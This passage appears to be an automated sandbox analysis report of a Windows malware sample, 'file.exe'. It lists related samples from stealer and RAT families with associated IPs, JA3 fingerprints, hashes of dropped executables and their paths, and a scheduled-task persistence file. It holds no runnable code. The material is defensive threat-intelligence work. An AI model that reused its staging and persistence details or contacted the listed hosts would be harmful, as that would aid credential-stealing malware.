	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	weWHT1b7JO.dll	Get hash	malicious	Unknown	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	172.67.165.166
	crypted_LummaC2.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	crypted_LummaC2 (3).exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1872896
Entropy (8bit):	7.948847739342942
Encrypted:	false
SSDEEP:	49152:VQA1I9yRAK605hJskK7AFCCaExWeNLFJcX0qjdOqv:VBK0AK6fx7FCa+H6jdOq
MD5:	90CA710AAF9DBEB26796E2023B2C20A4
SHA1:	8004E727DB0632790B42D2789BD0F538A3D8C702
SHA-256:	485AE38BFCB66923D04A09E0B1310C0D26F93C5B30742827F994CE1C7EC5AA28
SHA-512:	99148437C69316FC0E0E7C04E2B2DB3AB56BD021D8D31904A8225CB7213CEB6F669AAEBC48FBE9BD972E8C8FF0FD9F1A62540CB18AEC7C37C3290B738D90118A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...B3Gg.............................pJ...........@...........................J...........@.................................\`..p....P.......................a...................................................................................... . .@.......X..................@....rsrc........P.......h..............@....idata .....`.......j..............@... ..*..p.......l..............@...kavxkxnu.....`0......n..............@...myhjcrzc.....`J......n..............@....taggant.0...pJ.."...r..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592368676511987
Encrypted:	false
SSDEEP:	12288:YqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaCTE:YqDEvCTbMWu7rQYlBQcBiT6rprG8aiE
MD5:	0C37B6B31773E922A0C8521A372FB1EA
SHA1:	D57CA0A2D3012D3CBA3D6093BB82EF2D6D454628
SHA-256:	0EE84B8643C4B64870EBBB47AC96D156B7144A15CF81B8524E9D36DEFCFA6451
SHA-512:	9C63261A2F8065742A1E533FE76A21B4B3A82315FBE5F7AB9AEB9B8AA09023A6948D0728E546F4FDFE6438ABA3C047853FC185AC89CFF0C5E127346DF147AF45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Jg.........."..........d......w.............@..........................p......U.....@...@.......@.....................d...\|....@..P........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2799616
Entropy (8bit):	6.500777239175924
Encrypted:	false
SSDEEP:	49152:FJ2K3bA2539U9oT/tag5EduOohp1ucH9SPtYt6BcQw:FJ2K3bA2539ioT/tag2dgmFYxl
MD5:	B339132A89D00BAEB7CA4080AF49E1E8
SHA1:	62160FE3B1EC51F214CB738C065EF40040DE9CBE
SHA-256:	5D38C8EEA89B61FC0A7079BF280AD27430966BA25AE25176AE72C2B78A863009
SHA-512:	FA041D814B62E8CA6A9DA3023AF3A54F587F75E3212B21CD0B6E4A6DF59587BEA0E528D2A075D6ED2B2695EF98583FE40259453AC2D25AC167C9A920E552D5A0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ltedtzog.`......X..:..............@...bxhrajpy. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1789952
Entropy (8bit):	7.947103518518759
Encrypted:	false
SSDEEP:	49152:YUHhOiHg2ibzHNF8d/0Ti8pRHfNxjz99A6:XOiH9ibr8d/ZyRHX9Z
MD5:	1038F723C2FCA19F38FABBED2E099DBA
SHA1:	55C976CE86A5F9F781F9C6C4366907C6092F79FA
SHA-256:	A94DB821E336F4D9481A07FD572B65F40DBA79CA5DEC9ABE4741BBD607AD5D84
SHA-512:	DC0C4A68D2A5C24AC8418461A9C5DFC19F338289EF29E0874D00F60D01130C95E021FD4B83C777B55D988C3B99FA447F9B9177368091167EA54865B37028FD7C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L....Hg....................."........h...........@...........................i......A....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .P...$......v..............@...ihmwfsmw......O......x..............@...vvsaypnn......h....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1872896
Entropy (8bit):	7.948847739342942
Encrypted:	false
SSDEEP:	49152:VQA1I9yRAK605hJskK7AFCCaExWeNLFJcX0qjdOqv:VBK0AK6fx7FCa+H6jdOq
MD5:	90CA710AAF9DBEB26796E2023B2C20A4
SHA1:	8004E727DB0632790B42D2789BD0F538A3D8C702
SHA-256:	485AE38BFCB66923D04A09E0B1310C0D26F93C5B30742827F994CE1C7EC5AA28
SHA-512:	99148437C69316FC0E0E7C04E2B2DB3AB56BD021D8D31904A8225CB7213CEB6F669AAEBC48FBE9BD972E8C8FF0FD9F1A62540CB18AEC7C37C3290B738D90118A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...B3Gg.............................pJ...........@...........................J...........@.................................\`..p....P.......................a...................................................................................... . .@.......X..................@....rsrc........P.......h..............@....idata .....`.......j..............@... ..*..p.......l..............@...kavxkxnu.....`0......n..............@...myhjcrzc.....`J......n..............@....taggant.0...pJ.."...r..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1789952
Entropy (8bit):	7.947103518518759
Encrypted:	false
SSDEEP:	49152:YUHhOiHg2ibzHNF8d/0Ti8pRHfNxjz99A6:XOiH9ibr8d/ZyRHX9Z
MD5:	1038F723C2FCA19F38FABBED2E099DBA
SHA1:	55C976CE86A5F9F781F9C6C4366907C6092F79FA
SHA-256:	A94DB821E336F4D9481A07FD572B65F40DBA79CA5DEC9ABE4741BBD607AD5D84
SHA-512:	DC0C4A68D2A5C24AC8418461A9C5DFC19F338289EF29E0874D00F60D01130C95E021FD4B83C777B55D988C3B99FA447F9B9177368091167EA54865B37028FD7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L....Hg....................."........h...........@...........................i......A....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .P...$......v..............@...ihmwfsmw......O......x..............@...vvsaypnn......h....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592368676511987
Encrypted:	false
SSDEEP:	12288:YqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaCTE:YqDEvCTbMWu7rQYlBQcBiT6rprG8aiE
MD5:	0C37B6B31773E922A0C8521A372FB1EA
SHA1:	D57CA0A2D3012D3CBA3D6093BB82EF2D6D454628
SHA-256:	0EE84B8643C4B64870EBBB47AC96D156B7144A15CF81B8524E9D36DEFCFA6451
SHA-512:	9C63261A2F8065742A1E533FE76A21B4B3A82315FBE5F7AB9AEB9B8AA09023A6948D0728E546F4FDFE6438ABA3C047853FC185AC89CFF0C5E127346DF147AF45
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Jg.........."..........d......w.............@..........................p......U.....@...@.......@.....................d...\|....@..P........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2799616
Entropy (8bit):	6.500777239175924
Encrypted:	false
SSDEEP:	49152:FJ2K3bA2539U9oT/tag5EduOohp1ucH9SPtYt6BcQw:FJ2K3bA2539ioT/tag2dgmFYxl
MD5:	B339132A89D00BAEB7CA4080AF49E1E8
SHA1:	62160FE3B1EC51F214CB738C065EF40040DE9CBE
SHA-256:	5D38C8EEA89B61FC0A7079BF280AD27430966BA25AE25176AE72C2B78A863009
SHA-512:	FA041D814B62E8CA6A9DA3023AF3A54F587F75E3212B21CD0B6E4A6DF59587BEA0E528D2A075D6ED2B2695EF98583FE40259453AC2D25AC167C9A920E552D5A0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ltedtzog.`......X..:..............@...bxhrajpy. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884160
Entropy (8bit):	7.94837642945967
Encrypted:	false
SSDEEP:	49152:ZpwSI8AJ9bO7Mq63GmoLZH/eg3b8Q2Ly6VOts1d6B:ZpNpAJ5WMq6WmoL13IQ8yVtY6B
MD5:	7DE3C1AE47C4A3711EB3819636D97A85
SHA1:	5924B412D6547712A0F39B44D39E8881D0465B14
SHA-256:	4FF54307625CF4128E1F1D2ED924326E609B3F4DD14643717C27B196ABCD1EA6
SHA-512:	47C834D272C6F198A434617D06FE42FAC0CF7E0F77A92BDBFF6B2D6D8067F7C00F3B7BDEF2539C614B9BD2709859489F8DFCCAD0C604393507D1A519D9BD311F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J...........@.................................W...k.......D...................@.J...............................J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0*.........................@...wdmrrcke......0.....................@...rnnjldgn......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035577876577226504
Encrypted:	false
SSDEEP:	3:GtlstFYnTKaYl3lstFYnTKQD89//alEl:GtWtaTKaY1WtaTKQD89XuM
MD5:	B41F04B933E52230CFF363D7FE91206D
SHA1:	A5942E1D6858A094787D43BEB547DDF42D024B0F
SHA-256:	7468B649649C4AF8C7DD16E9CE6C13D2E44A71FA4A4F14D6135ADF4D088CA6D6
SHA-512:	57D95B927B2E471484149AAD0820AC7620B5CCD630B548025EE94B3C59D7B52685FADFA42B390B35084701A17F1EDB012058F1A06A9FF62CD73BC051E313BAC9
Malicious:	false
Preview:	..-.......................M..g..........N...t..-.......................M..g..........N...t........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03983632420097889
Encrypted:	false
SSDEEP:	3:Ol1PSvNLVxAdtooOotl8rEXsxdwhml8XW3R2:KQvNLb4trtl8dMhm93w
MD5:	55C24AA189AC0932D194A2B5FD9D4A23
SHA1:	CE80C3372CDFEA79DA8D6E2D3F0DEFF95B1374CB
SHA-256:	DB2958F214238A4D85E77094D9D27DB48D4C5ABF71C802032B42072B97EE354F
SHA-512:	FF72EAB56326716A36DA4ADA11622FCD1A8AC673BD634A9C7654FF3D25F96797F01A08F93B3CA67D4CB7277F59C1033B678CF3C1BE0620FF43C58A00EDD3E73D
Malicious:	false
Preview:	7....-..................`..'2.n.................M..g..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.5323081253820385
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6ihj4qyaaX86KakfGNBw8MJSl:degquOcwV0
MD5:	72E631CDC5B4127D54EAFB484B4E43D3
SHA1:	252C1774D233078675ABAD8F13DF1FC1EE3B7DA4
SHA-256:	58D057DB1A3CFF3E178A0509E956A1CCD2FB5C8115773764686EA6E947D7CFEA
SHA-512:	C421810480C65DB90554E7677601D15979311C6CE2E1BDC026BF2551A581DA6EC9A61090C075CE6E2B13B412D22468089A59799A9FC87DE357870C194A4068F8
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.5323081253820385
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6ihj4qyaaX86KakfGNBw8MJSl:degquOcwV0
MD5:	72E631CDC5B4127D54EAFB484B4E43D3
SHA1:	252C1774D233078675ABAD8F13DF1FC1EE3B7DA4
SHA-256:	58D057DB1A3CFF3E178A0509E956A1CCD2FB5C8115773764686EA6E947D7CFEA
SHA-512:	C421810480C65DB90554E7677601D15979311C6CE2E1BDC026BF2551A581DA6EC9A61090C075CE6E2B13B412D22468089A59799A9FC87DE357870C194A4068F8
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4180013425782763
Encrypted:	false
SSDEEP:	6:VNwaJvXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBFct0:VNw0f2RKQ1CGAFAjzvYRQVBWt0
MD5:	9F1D1C50DC2E65832E4C39BFABCC8A80
SHA1:	581942C325525177A49063A0AD5B6482AF43376D
SHA-256:	3E561A865AF497D46B55A512B7A40655D1C96898B97301ED1DA029ADC572CB3F
SHA-512:	F8D61F7E18D28BE4E90269AE6DE7A3DA70A4583C65967DAE26389FB5ECD359E3A0BF6746EC18B9893682BB03E53CC190C1416ABD013ADD9AD56556852512D930
Malicious:	false
Preview:	........IZ,K.....H..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94837642945967
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'884'160 bytes
MD5:	7de3c1ae47c4a3711eb3819636d97a85
SHA1:	5924b412d6547712a0f39b44d39e8881d0465b14
SHA256:	4ff54307625cf4128e1f1d2ed924326e609b3f4dd14643717c27b196abcd1ea6
SHA512:	47c834d272c6f198a434617d06fe42fac0cf7e0f77a92bdbff6b2d6d8067f7c00f3b7bdef2539c614b9bd2709859489f8dfccad0c604393507d1a519d9bd311f
